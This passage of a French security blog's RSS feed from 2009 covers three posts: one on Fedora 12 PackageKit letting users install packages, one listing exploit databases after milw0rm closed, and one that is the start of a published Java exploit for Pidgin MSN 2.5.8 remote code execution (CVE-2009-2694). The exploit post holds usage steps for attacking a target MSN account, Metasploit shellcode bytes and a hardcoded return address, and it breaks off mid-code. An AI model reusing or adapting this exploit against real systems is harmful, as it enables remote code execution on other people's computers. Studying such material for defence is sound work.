[pierre@localhost ~]$ whereis samba
samba:
[pierre@localhost ~]$ pkcon install samba
Simulating install            [=========================]         
Installing packages           [=========================]         
Getting information           [=========================]         
Resolving dependencies        [=========================]         
The following packages have to be installed:
 samba-common-3.4.2-47.fc12.i686	Files used by both Samba servers and clients
Proceed with changes? [N/y]   [=========================]         
Installing                    [=========================]         
Waiting for authentication    [=========================]         
Resolving dependencies        [=========================]         
Downloading packages          [=========================]         
Testing changes               [=========================]         
Installing packages           [=========================]         
Scanning applications         [=========================]         
[pierre@localhost ~]$ whereis samba
samba: /etc/samba /usr/lib/samba /usr/share/man/man7/samba.7.gz</pre></div></div>

<p>En voyant ça, on pourrait se dire que cela pose des problèmes de sécurité et d&#8217;administration&#8230; Un simple utilisateur pourrait installer des logiciels avec des failles de sécurité, écraser, modifier des fichiers de configuration et surtout d&#8217;installer des fichiers <strong>suid root potentiellement vulnérables</strong> (encore faut il trouver LE package). D&#8217;ailleurs, sur les mailing list on peut lire plein de choses sympathiques, dont beaucoup dans le genre : <strong>FEDORA 12 REMOTE ROOT EXPLOIT</strong>, mais sans preuve de concept (oui tout de suite, ça devient beaucoup plus compliqué).</p>
<p>Avant de s&#8217;alarmer, il faut relativiser : </p>
<ul>
<li>Cette commande n&#8217;est utilisable qu&#8217;en local (graphique ou console). Si un pirate compromet un compte via SSH ou trouve une faille dans votre serveur Web et exécute des commandes via l&#8217;utilisateur Apache : <strong>il ne pourra pas installer de logiciels à partir des dépôts.</strong></li>
<li>Par défaut, seul les packages du repo <strong>signés par Fedora</strong> sont installables, or, Fedora les tient à jour, il faudrait donc <strong>un 0-day pour rooter le serveur</strong> (ce qui complique <strong>beaucoup</strong> la chose).</li>
<li>J&#8217;ai remarqué en installant samba, que le service n&#8217;était pas lancé par défaut, <strong>il est donc impossible de lancer directement un service vulnérable via cette commande</strong> (à confirmer).</li>
<li>Et enfin, Fedora c&#8217;est plutôt une distribution de test (2 ou 3 nouvelles versions / an), de bureautique et pas trop utilisé en prod, ils ont intégré ce package afin de simplifier la vie des utilisateurs.</li>
</ul>
<p>La commande pour <strong>désactiver packagekit</strong> est la suivante :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pklalockdown --lockdown org.freedesktop.packagekit.package-install</pre></div></div>

<p>En conclusion, même si un Linuxien élite réussit à trouver un trick pour rooter le serveur via PackageSite, l&#8217;impact sera <b>très limité</b>.</p>
<p>Par contre, si ça peut vous rassurer, il est nécessaire d&#8217;avoir le mot de passe root pour désinstaller des package <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/adminsys/fedora12-packagekit-insecure-ou-pas/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Milw0rm est mort, où trouver des exploits ?</title>
		<link>http://www.indahax.com/pentest/milw0rm-is-dead-exploit</link>
		<comments>http://www.indahax.com/pentest/milw0rm-is-dead-exploit#comments</comments>
		<pubDate>Wed, 18 Nov 2009 10:13:10 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploit database]]></category>
		<category><![CDATA[milw0rm]]></category>
		<category><![CDATA[search exploit]]></category>
		<category><![CDATA[site exploit]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=360</guid>
		<description><![CDATA[
Milw0rm n&#8217;est plus mis à jour depuis fin septembre, d&#8217;ailleurs on ne sait pas trop ce que fait str0ke, le webmaster du site en question, qui ne s&#8217;est pas prononcé là-dessus. Milw0rm était la référence en matière d&#8217;exploit.
Un exploit publié sur ce site était automatiquement diffusé vers de nombreux sites relatifs à la sécurité informatique. [...]]]></description>
			<content:encoded><![CDATA[<p><center><img alt="milw0rm" title="milw0rm" src="http://www.indahax.com/images/milw0rm.jpg" title="milw0rm" width="445" height="71" /></center><br />
Milw0rm n&#8217;est plus mis à jour depuis fin septembre, d&#8217;ailleurs on ne sait pas trop ce que fait <a href="http://twitter.com/str0ke">str0ke</a>, le webmaster du site en question, qui ne s&#8217;est pas prononcé là-dessus. <strong>Milw0rm était la référence en matière d&#8217;exploit</strong>.<br/><span id="more-360"></span><br />
Un exploit publié sur ce site était automatiquement diffusé vers de nombreux sites relatifs à la sécurité informatique. Hormis <a href="http://exploits.offensive-security.com/">Offensive Security</a>, peu de prétendants se sont présentés pour prendre la relève de milw0rm (Pourtant, il y avait gros à jouer en terme de référencement Web). <br/><br />
Heureusement, milw0rm n&#8217;est pas l&#8217;unique site recensant des exploits, voici une petite liste de sites et de frameworks toujours à jour, que j&#8217;ai pu glaner ici et là au fil du temps:<br/></p>
<ul>
<li><a href="http://exploits.offensive-security.com/">Offensive security</a> : Le tout nouveau clone de milw0rm, espérons que ses créateurs puissent tenir la cadence.</li>
<li><a href="http://www.metasploit.com/framework/">Metasploit</a> : On ne le présente plus, principalement orienté système et réseaux, il contient peu d&#8217;exploits web. svn update régulier indispensable pour le tenir à jour.</li>
<li><a href="http://www.securityfocus.com/vulnerabilities">Security Focus</a> : Il s&#8217;agit plus d&#8217;une base de vulnérabilités que d&#8217;une liste d&#8217;exploits, cependant les exploits y restent nombreux.</li>
<li><a href="http://www.packetstormsecurity.org/exploits20.html">Packet Storm Security</a> : Packetstorm est principalement connu pour ses petits scripts/tools de hacking mais le site tient également une base d&#8217;exploit et un fil RSS dédié à celle-ci.</li>
<li><a href="http://sebug.net/">sebug</a> : J&#8217;ai découvert ce site hier, pas mal d&#8217;exploits dessus, mais aussi beaucoup de vulns.</li>
<li><a href="http://securityreason.com/exploit_alert/">Security Reason</a> : Un site avec plusieurs flux RSS, dont un dédié aux derniers exploits. Ils ont d&#8217;ailleurs publié récemment un exploit <a href="http://securityreason.com/achievement_securityalert/61">bypass openbase_dir php</a> drôlement sympathique <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</li>
<li><a href="http://www.securityfocus.com/archive/1">Bugtraq</a> : Une mailing list, elle est intégrée au fil RSS de securityfocus on y retrouve principalement des annonces de correctifs de la part des éditeurs, mais il y a parfois des exploits.</li>
<li><a href="http://seclists.org/fulldisclosure/">Full Disclosure</a> : Encore une mailing list, cette fois-ci avec beaucoup de trolls et quelques exploits 0day de temps en temps. Il y a parfois tellement de trolls que l&#8217;on peut passer à coté de ces petites perles <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</li>
</ul>
<p>On peut ajouter à cette liste l&#8217;<a href="http://osvdb.org/">Open Source Vulnerability Database</a>, le <a href="http://cve.mitre.org/">Common Vulnerabilities Exposures</a> et la <a href="http://nvd.nist.gov/">National Vulnerability Database</a> qui recensent toutes les vulnérabilités existantes des logiciels et parfois des liens vers des exploits.</p>
<p>Bien entendu cette liste n&#8217;est pas exhaustive, si vous connaissez d&#8217;autres sites <strong>qui valent le coup</strong> n&#8217;hésitez pas à les signaler en commentaire.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/milw0rm-is-dead-exploit/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Exploit Pidgin MSN 2.5.8 exécution de code à distance</title>
		<link>http://www.indahax.com/exploits/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance</link>
		<comments>http://www.indahax.com/exploits/exploit-pidgin-msn-2-5-8-execution-de-code-a-distance#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:48:46 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[exploit pidgin]]></category>
		<category><![CDATA[libmsn]]></category>
		<category><![CDATA[libpurple]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[msnslp]]></category>
		<category><![CDATA[pidgin 2.5.8]]></category>
		<category><![CDATA[remote code execution]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=351</guid>
		<description><![CDATA[


/*
* Pidgin MSN &#60;= 2.5.8 Remote Code Execution
*
* Pierre Nogues - pierz@hotmail.it
* http://www.indahax.com/
*
*
* Description:
*        Pidgin is a multi-protocol Instant Messenger.
*
*        This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
*        The library [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="" src="http://www.indahax.com/images/pidgin.png" title="pidgin exploit" class="aligncenter" width="179" height="179" /></p>
<p><span id="more-351"></span></p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/*
* Pidgin MSN &lt;= 2.5.8 Remote Code Execution
*
* Pierre Nogues - pierz@hotmail.it
* http://www.indahax.com/
*
*
* Description:
*        Pidgin is a multi-protocol Instant Messenger.
*
*        This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
*        The library &quot;libmsn&quot; used by pidgin doesn't handle specially crafted MsnSlp packets
*        which could lead to memory corruption.
*
* Affected versions :
*        Pidgin &lt;= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library.
*
* Plateforms :
*        Windows, Linux, Mac
*
* Fix :
*        Fixed in Pidgin 2.5.9
*        Update to the latest version : http://www.pidgin.im/download/
*
* References :
*        [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694
*        [2] http://www.coresecurity.com/content/libpurple-arbitrary-write
*        [3] http://www.pidgin.im/news/security/?id=34
*
* Usage :
*        You need the Java MSN Messenger library : http://sourceforge.net/projects/java-jml/
*        javac.exe -cp &quot;%classpath%;.\jml-1.0b3-full.jar&quot; PidginExploit.java
*        java -cp &quot;%classpath%;.\jml-1.0b3-full.jar&quot; PdiginExploit YOUR_MSN_EMAIL YOUR_PASSWORD TARGET_MSN_EMAIL
*
*/</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">net.sf.jml.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">net.sf.jml.event.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">net.sf.jml.impl.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">net.sf.jml.message.p2p.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">net.sf.jml.util.*</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> PidginExploit <span style="color: #009900;">&#123;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">private</span> MsnMessenger messenger<span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> login<span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> password<span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #003399;">String</span> target<span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">int</span> session_id <span style="color: #339933;">=</span> NumberUtils.<span style="color: #006633;">getIntRandom</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">byte</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
           <span style="color: #666666; font-style: italic;">/*
            * if you use the stack in your shellcode do not forgot to change esp because eip == esp == kaboom !
            * sub esp,500
            */</span>
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x81, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xEC, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x00, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x05, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x00, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x00,
&nbsp;
&nbsp;
           <span style="color: #666666; font-style: italic;">/*
            * windows/exec - 121 bytes
            * http://www.metasploit.com
            * EXITFUNC=process, CMD=calc.exe
            */</span>
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xfc, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xe8, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x44, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x00, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x00, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x00, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x45,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x3c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x7c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x05, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x78, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x01, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xef, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x4f, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x18, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x5f, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x20, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x01, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xeb, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x49,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x34, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x01, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xee, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x31, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xc0, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x99,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xac, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x84, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xc0, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x74, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x07, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xc1, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xca, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x0d,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x01, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xc2, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xeb, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xf4, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x3b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x54, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x24, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x04,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x75, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xe5, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x5f, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x24, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x01, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xeb, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x66,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x0c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x4b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x5f, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x1c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x01, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xeb,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x1c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x01, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xeb, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x89, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x5c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x24,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x04, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xc3, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x5f, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x31, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xf6, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x60, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x56, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x64,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x46, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x30, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x40, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x0c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x70,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x1c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xad, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8b, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x68, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x08, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x89, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xf8, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x83,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xc0, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x6a, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x50, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x68, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x7e, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xd8, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xe2, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x73,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x68, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x98, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xfe, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x8a, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x0e, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x57, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xff, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0xe7,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x63, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x61, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x6c, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x63, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x2e, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x65, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x78, <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x65,
               <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#41;</span> 0x00
           <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
   <span style="color: #666666; font-style: italic;">// reteip = pointer to the return address in the stack</span>
   <span style="color: #666666; font-style: italic;">// The shellcode will be wrote just before reteip</span>
   <span style="color: #666666; font-style: italic;">// and reteip will automaticly point to the shellcode. It's magic !</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">int</span> reteip <span style="color: #339933;">=</span> 0x0022CFCC<span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">//stack on XP SP3-FR Pidgin 2.5.8</span>
&nbsp;
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">int</span> neweip<span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> payload <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span>shellcode.<span style="color: #006633;">length</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
   <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">int</span> totallength <span style="color: #339933;">=</span> reteip <span style="color: #339933;">+</span> <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>
&nbsp;
